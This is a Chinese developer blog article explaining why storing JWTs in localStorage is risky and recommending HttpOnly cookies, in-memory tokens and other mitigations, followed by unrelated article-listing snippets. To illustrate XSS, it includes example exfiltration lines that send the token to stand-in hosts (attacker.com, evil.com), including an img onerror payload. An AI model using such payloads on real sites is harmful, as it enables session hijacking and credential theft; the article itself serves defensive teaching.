news 2026/6/15 19:57:05

jwt存localstorage有什么风险

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
jwt存localstorage有什么风险

将 JWT 存储在 LocalStorage 中存在显著的安全风险,这是前端开发中最常见的安全隐患之一。

核心风险:XSS 攻击(跨站脚本攻击)

攻击原理

```javascript
// 假设攻击者注入了以下恶意脚本
const token = localStorage.getItem('token'); // 轻松读取
fetch('https://attacker.com/steal?token=' + token); // 发送到攻击者服务器
```

一旦页面存在 XSS 漏洞,攻击者可以:
- 直接读取 `localStorage` 中的任何数据
- 窃取 JWT 令牌冒充用户身份
- 执行任意 API 请求(因为令牌自动附带)

对比:Cookie 存储(httpOnly)

特性 LocalStorage Cookie (httpOnly)
XSS 防护 ❌ 可被 JS 读取 ✅ 无法被 JS 读取
CSRF 风险 较低 需要额外防护
跨域限制 严格遵守同源策略 可通过配置灵活控制
自动发送 需手动添加到 Header 浏览器自动附带

具体风险场景

场景 1:第三方库污染

```javascript
// 你引入的某个 npm 包被攻击
import { someLibrary } from 'compromised-package';

// 该库内部偷偷执行
localStorage.getItem('token') && sendToHackerServer();
```

场景 2:富文本/XSS 漏洞

```html
<!-- 用户输入未过滤 -->
<div class="comment">
<img src=x onerror="fetch('https://evil.com?token='+localStorage.getItem('token'))">
</div>
```

场景 3:浏览器扩展窃取

```javascript
// 恶意浏览器扩展可以轻松访问 localStorage
chrome.storage.local.set({stolenToken: localStorage.getItem('token')});
```

推荐的安全方案

方案 1:HttpOnly Cookie(首选)

后端设置:

```go
// Go Gin 示例
import "github.com/gin-gonic/gin"

func setTokenCookie(c *gin.Context, token string) {
c.SetSameSite(http.SameSiteStrictMode) // 或 Lax
c.SetCookie(
"token", // name
token, // value
3600, // maxAge (秒)
"/", // path
"example.com", // domain
true, // secure (仅 HTTPS)
true, // httpOnly (禁止 JS 访问)
)
}
```

前端无需任何存储操作,浏览器自动管理 Cookie。

方案 2:内存存储(临时方案)

如果必须使用 LocalStorage,至少配合短期令牌 + 刷新令牌:

```javascript
// 仅保存在内存中,页面刷新即失效
let accessToken = null;

function login(credentials) {
return fetch('/api/login', {
method: 'POST',
body: JSON.stringify(credentials)
})
.then(res => res.json())
.then(data => {
accessToken = data.token; // 仅内存存储
return data;
});
}

function fetchWithAuth(url, options = {}) {
return fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${accessToken}` // 从内存读取
}
});
}

// 页面关闭即失效,配合 Refresh Token 机制
```

方案 3:Service Worker 代理(进阶)

```javascript
// service-worker.js
self.addEventListener('fetch', (event) => {
if (event.request.url.startsWith('/api/')) {
event.respondWith(
getTokenFromSecureStorage().then(token => {
const newRequest = new Request(event.request, {
headers: {
...event.request.headers,
'Authorization': `Bearer ${token}`
}
});
return fetch(newRequest);
})
);
}
});
```

如果必须用 LocalStorage 的缓解措施

```javascript
// 1. 加密存储(防直接读取)
import CryptoJS from 'crypto-js';

const encryptToken = (token) => {
return CryptoJS.AES.encrypt(token, process.env.REACT_APP_KEY).toString();
};

// 2. 短期令牌(15分钟)
const setShortLivedToken = (token) => {
const payload = JSON.parse(atob(token.split('.')[1]));
if (payload.exp - payload.iat > 900) { // 超过15分钟拒绝
throw new Error('Token 有效期过长');
}
localStorage.setItem('token', encryptToken(token));
};

// 3. 定期清理
setInterval(() => {
localStorage.removeItem('token');
window.location.href = '/login';
}, 15 * 60 * 1000); // 15分钟后强制登出
```

决策流程图

```
开始

├─ 能控制后端? ──Yes──→ 使用 HttpOnly Cookie ✅
│ No
│ ↓
├─ 能接受频繁重新登录? ──Yes──→ 内存存储 ✅
│ No
│ ↓
└─ 必须使用 LocalStorage ──→ 短期令牌 + 加密 + CSP 防护 ⚠️
```

总结

存储方式 安全性 适用场景
HttpOnly Cookie ⭐⭐⭐⭐⭐ 生产环境首选
内存(变量) ⭐⭐⭐⭐ 高安全要求、可接受频繁登录
LocalStorage ⭐⭐ 仅开发环境或配合多重防护
SessionStorage ⭐⭐⭐ 比 LocalStorage 稍好(标签页关闭清除)

关键原则: 如果存储位置能被 `document.write` 或 `innerHTML` 触发的脚本访问,它就不适合存放敏感凭证。

需要我展示一个完整的 Cookie + Refresh Token 双令牌架构实现吗?

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 11:22:17

技术日报|AI安全黑客Shannon横空出世狂揽3000+星登顶GitHub

&#x1f31f; TrendForge 每日精选 - 发现最具潜力的开源项目 &#x1f4ca; 今日共收录 12 个热门项目&#xff0c;涵盖 50 种编程语言&#x1f310; 智能中文翻译版 - 项目描述已自动翻译&#xff0c;便于理解&#x1f3c6; 今日最热项目 Top 10 &#x1f947; KeygraphHQ/s…

作者头像 李华
网站建设 2026/6/15 13:25:11

导师又让重写?千笔,碾压级的降AI率网站

在AI技术迅猛发展的今天&#xff0c;越来越多的学生开始借助AI工具辅助论文写作&#xff0c;以提高效率、优化内容。然而&#xff0c;随着知网、维普、万方等查重系统不断升级算法&#xff0c;对AI生成内容的识别愈发严格&#xff0c;AI率超标已成为毕业论文中的一大隐患。许多…

作者头像 李华
网站建设 2026/6/15 11:21:05

Thymeleaf,现代化的Java服务器端模板引擎!

Thymeleaf在现代Web开发中的革命性意义在当今的企业级Web应用开发中&#xff0c;Thymeleaf已经彻底改变了Java服务器端模板渲染的传统范式。想象一下您每天使用的银行网银系统&#xff1a;当您查看账户交易明细时&#xff0c;Thymeleaf正在动态渲染包含复杂数据表格和分页的HTM…

作者头像 李华
网站建设 2026/6/15 11:38:43

Flutter 与 OpenHarmony 通信:Flutter Channel 使用指南

Flutter 与 OpenHarmony 通信&#xff1a;Flutter Channel 使用指南 欢迎大家加入跨平台社区 本文介绍在 Flutter OpenHarmony 化工程中&#xff0c;如何利用 Flutter Channel 实现 Dart 代码与 OpenHarmony 原生端&#xff08;ETS&#xff09;之间的通信。Flutter Channel 提…

作者头像 李华
网站建设 2026/6/15 11:35:16

HoRain云--优化SSH连接速度:CentOS服务器实战指南

&#x1f3ac; HoRain云小助手&#xff1a;个人主页 &#x1f525; 个人专栏: 《Linux 系列教程》《c语言教程》 ⛺️生活的理想&#xff0c;就是为了理想的生活! ⛳️ 推荐 前些天发现了一个超棒的服务器购买网站&#xff0c;性价比超高&#xff0c;大内存超划算&#xff01;…

作者头像 李华
网站建设 2026/6/15 12:17:11

深度测评!学生热捧的一键生成论文工具 —— 千笔ai写作

你是否曾为论文选题发愁&#xff0c;反复修改却总对结果不满意&#xff1f;面对文献检索的繁琐、格式排版的复杂、查重率的焦虑&#xff0c;你是否感到力不从心&#xff1f;论文写作不仅是学术能力的考验&#xff0c;更是时间与精力的挑战。而如今&#xff0c;一款专为学生打造…

作者头像 李华